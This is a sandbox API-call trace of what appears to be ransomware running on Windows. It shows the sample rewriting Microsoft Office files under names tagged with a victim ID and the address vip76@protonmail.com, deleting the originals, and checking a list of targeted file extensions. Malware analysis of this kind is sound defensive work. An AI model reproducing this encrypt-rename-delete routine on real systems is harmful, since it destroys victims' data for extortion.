	[0185.719] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1
	[0185.719] lstrlenW (lpString="Riblet.eftx") returned 11
	[0185.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0185.720] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=295074) returned 1
	[0185.720] CloseHandle (hObject=0x5b4) returned 1
	[0185.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx")) returned 0x220
	[0185.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0185.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0185.721] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.721] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0185.722] GetLastError () returned 0x0
	[0185.722] ReadFile (in: hFile=0x5b4, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x480a2, lpOverlapped=0x0) returned 1
	[0185.776] WriteFile (in: hFile=0x594, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x480b0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x480b0, lpOverlapped=0x0) returned 1
	[0185.784] ReadFile (in: hFile=0x5b4, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.784] WriteFile (in: hFile=0x594, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xea, lpOverlapped=0x0) returned 1
	[0185.784] SetEndOfFile (hFile=0x594) returned 1
	[0185.784] CloseHandle (hObject=0x594) returned 1
	[0185.784] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.784] SetEndOfFile (hFile=0x5b4) returned 1
	[0186.936] CloseHandle (hObject=0x5b4) returned 1
	[0186.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0186.952] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx")) returned 1
	[0186.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0186.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0186.969] lstrlenW (lpString=".doc") returned 4
	[0186.969] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0186.969] lstrlenW (lpString=".docx") returned 5
	[0186.969] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0186.969] lstrlenW (lpString=".pdf") returned 4
	[0186.969] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0186.969] lstrlenW (lpString=".xls") returned 4
	[0186.969] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0186.969] lstrlenW (lpString=".xlsx") returned 5
	[0186.969] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0186.970] lstrlenW (lpString=".ppt") returned 4
	[0186.970] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0186.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0186.970] lstrlenW (lpString=".zip") returned 4
	[0186.970] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0186.970] lstrlenW (lpString=".rar") returned 4
	[0186.970] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0186.970] lstrlenW (lpString=".bz2") returned 4
	[0186.970] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0186.970] lstrlenW (lpString=".7z") returned 3
	[0186.970] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0186.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0186.970] lstrlenW (lpString=".dbf") returned 4
	[0186.970] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0186.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0186.970] lstrlenW (lpString=".1cd") returned 4
	[0186.970] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0186.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0186.970] lstrlenW (lpString=".jpg") returned 4
	[0186.970] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0186.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0186.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0186.970] lstrlenW (lpString=".doc") returned 4
	[0186.970] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0186.970] lstrlenW (lpString=".docx") returned 5
	[0186.970] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0186.970] lstrlenW (lpString=".pdf") returned 4
	[0186.970] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0186.970] lstrlenW (lpString=".xls") returned 4
	[0186.971] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0186.971] lstrlenW (lpString=".xlsx") returned 5
	[0186.971] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0186.971] lstrlenW (lpString=".ppt") returned 4
	[0186.971] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0186.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0186.971] lstrlenW (lpString=".zip") returned 4
	[0186.971] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0186.971] lstrlenW (lpString=".rar") returned 4
	[0186.971] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0186.971] lstrlenW (lpString=".bz2") returned 4
	[0186.971] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0186.971] lstrlenW (lpString=".7z") returned 3
	[0186.971] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0186.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0186.971] lstrlenW (lpString=".dbf") returned 4
	[0186.971] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0186.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0186.971] lstrlenW (lpString=".1cd") returned 4
	[0186.971] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0186.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0186.971] lstrlenW (lpString=".jpg") returned 4
	[0186.971] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0186.971] lstrcmpiW (lpString1=".manifest", lpString2=".html") returned 1
	[0186.971] lstrlenW (lpString="AppVPackaging.dll.manifest") returned 26
	[0186.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0186.972] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=707) returned 1
	[0186.972] CloseHandle (hObject=0x36c) returned 1
	[0186.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest")) returned 0x220
	[0186.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0186.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0186.973] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.973] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0187.014] GetLastError () returned 0x0
	[0187.015] ReadFile (in: hFile=0x36c, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2c3, lpOverlapped=0x0) returned 1
	[0187.021] WriteFile (in: hFile=0x5c4, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2d0, lpOverlapped=0x0) returned 1
	[0187.022] ReadFile (in: hFile=0x36c, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.022] WriteFile (in: hFile=0x5c4, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x108, lpOverlapped=0x0) returned 1
	[0187.023] SetEndOfFile (hFile=0x5c4) returned 1
	[0187.023] CloseHandle (hObject=0x5c4) returned 1
	[0187.023] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.023] SetEndOfFile (hFile=0x36c) returned 1
	[0187.031] CloseHandle (hObject=0x36c) returned 1
	[0187.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0187.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest")) returned 1
	[0187.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0187.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0187.032] lstrlenW (lpString=".doc") returned 4
	[0187.032] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1
	[0187.032] lstrlenW (lpString=".docx") returned 5
	[0187.032] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1
	[0187.032] lstrlenW (lpString=".pdf") returned 4
	[0187.032] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1
	[0187.032] lstrlenW (lpString=".xls") returned 4
	[0187.032] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1
	[0187.032] lstrlenW (lpString=".xlsx") returned 5
	[0187.032] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1
	[0187.032] lstrlenW (lpString=".ppt") returned 4
	[0187.032] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1
	[0187.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0187.032] lstrlenW (lpString=".zip") returned 4
	[0187.032] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1
	[0187.032] lstrlenW (lpString=".rar") returned 4
	[0187.032] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1
	[0187.032] lstrlenW (lpString=".bz2") returned 4
	[0187.033] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1
	[0187.033] lstrlenW (lpString=".7z") returned 3
	[0187.033] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1
	[0187.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0187.033] lstrlenW (lpString=".dbf") returned 4
	[0187.033] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1
	[0187.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0187.033] lstrlenW (lpString=".1cd") returned 4
	[0187.033] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1
	[0187.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0187.033] lstrlenW (lpString=".jpg") returned 4
	[0187.033] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1
	[0187.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0187.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0187.033] lstrlenW (lpString=".doc") returned 4
	[0187.033] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1
	[0187.033] lstrlenW (lpString=".docx") returned 5
	[0187.033] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1
	[0187.033] lstrlenW (lpString=".pdf") returned 4
	[0187.033] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1
	[0187.033] lstrlenW (lpString=".xls") returned 4
	[0187.033] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1
	[0187.033] lstrlenW (lpString=".xlsx") returned 5
	[0187.033] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1
	[0187.033] lstrlenW (lpString=".ppt") returned 4
	[0187.033] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1
	[0187.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0187.033] lstrlenW (lpString=".zip") returned 4
	[0187.034] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1
	[0187.034] lstrlenW (lpString=".rar") returned 4
	[0187.034] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1
	[0187.034] lstrlenW (lpString=".bz2") returned 4
	[0187.034] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1
	[0187.034] lstrlenW (lpString=".7z") returned 3
	[0187.034] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1
	[0187.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0187.034] lstrlenW (lpString=".dbf") returned 4
	[0187.034] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1
	[0187.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0187.034] lstrlenW (lpString=".1cd") returned 4
	[0187.034] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1
	[0187.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0187.034] lstrlenW (lpString=".jpg") returned 4
	[0187.034] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1
	[0187.034] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0187.034] lstrlenW (lpString="concrt140.dll") returned 13
	[0187.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0187.044] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=243520) returned 1
	[0187.044] CloseHandle (hObject=0x5c4) returned 1
	[0187.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll")) returned 0x220
	[0187.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0187.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0187.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0187.044] lstrlenW (lpString=".doc") returned 4
	[0187.044] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0187.044] lstrlenW (lpString=".docx") returned 5
	[0187.045] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0187.045] lstrlenW (lpString=".pdf") returned 4
	[0187.045] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0187.045] lstrlenW (lpString=".xls") returned 4
	[0187.045] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0187.045] lstrlenW (lpString=".xlsx") returned 5
	[0187.045] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0187.045] lstrlenW (lpString=".ppt") returned 4
	[0187.045] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0187.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0187.045] lstrlenW (lpString=".zip") returned 4
	[0187.045] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0187.045] lstrlenW (lpString=".rar") returned 4
	[0187.045] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0187.045] lstrlenW (lpString=".bz2") returned 4
	[0187.045] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0187.045] lstrlenW (lpString=".7z") returned 3
	[0187.045] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0187.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0187.045] lstrlenW (lpString=".dbf") returned 4
	[0187.045] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0187.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0187.045] lstrlenW (lpString=".1cd") returned 4
	[0187.045] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0187.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0187.045] lstrlenW (lpString=".jpg") returned 4
	[0187.045] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0187.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0187.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0187.045] lstrlenW (lpString=".doc") returned 4
	[0187.046] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0187.046] lstrlenW (lpString=".docx") returned 5
	[0187.046] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0187.046] lstrlenW (lpString=".pdf") returned 4
	[0187.046] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0187.046] lstrlenW (lpString=".xls") returned 4
	[0187.046] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0187.046] lstrlenW (lpString=".xlsx") returned 5
	[0187.046] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0187.046] lstrlenW (lpString=".ppt") returned 4
	[0187.046] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0187.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0187.046] lstrlenW (lpString=".zip") returned 4
	[0187.046] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0187.046] lstrlenW (lpString=".rar") returned 4
	[0187.046] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0187.046] lstrlenW (lpString=".bz2") returned 4
	[0187.046] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0187.046] lstrlenW (lpString=".7z") returned 3
	[0187.046] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0187.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0187.046] lstrlenW (lpString=".dbf") returned 4
	[0187.046] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0187.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0187.046] lstrlenW (lpString=".1cd") returned 4
	[0187.046] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0187.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0187.046] lstrlenW (lpString=".jpg") returned 4
	[0187.046] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0187.047] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0187.047] lstrlenW (lpString="Flattener.exe") returned 13
	[0187.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0187.048] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=45664) returned 1
	[0187.048] CloseHandle (hObject=0x5c4) returned 1
	[0187.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe")) returned 0x220
	[0187.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0187.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0187.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0187.049] lstrlenW (lpString=".doc") returned 4
	[0187.049] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0187.049] lstrlenW (lpString=".docx") returned 5
	[0187.049] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0187.049] lstrlenW (lpString=".pdf") returned 4
	[0187.049] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0187.049] lstrlenW (lpString=".xls") returned 4
	[0187.049] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0187.049] lstrlenW (lpString=".xlsx") returned 5
	[0187.049] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0187.049] lstrlenW (lpString=".ppt") returned 4
	[0187.049] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0187.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0187.049] lstrlenW (lpString=".zip") returned 4
	[0187.049] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0187.049] lstrlenW (lpString=".rar") returned 4
	[0187.049] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0187.049] lstrlenW (lpString=".bz2") returned 4
	[0187.049] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0187.049] lstrlenW (lpString=".7z") returned 3
	[0187.049] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0187.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0187.049] lstrlenW (lpString=".dbf") returned 4
	[0187.049] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0187.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0187.049] lstrlenW (lpString=".1cd") returned 4
	[0187.049] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
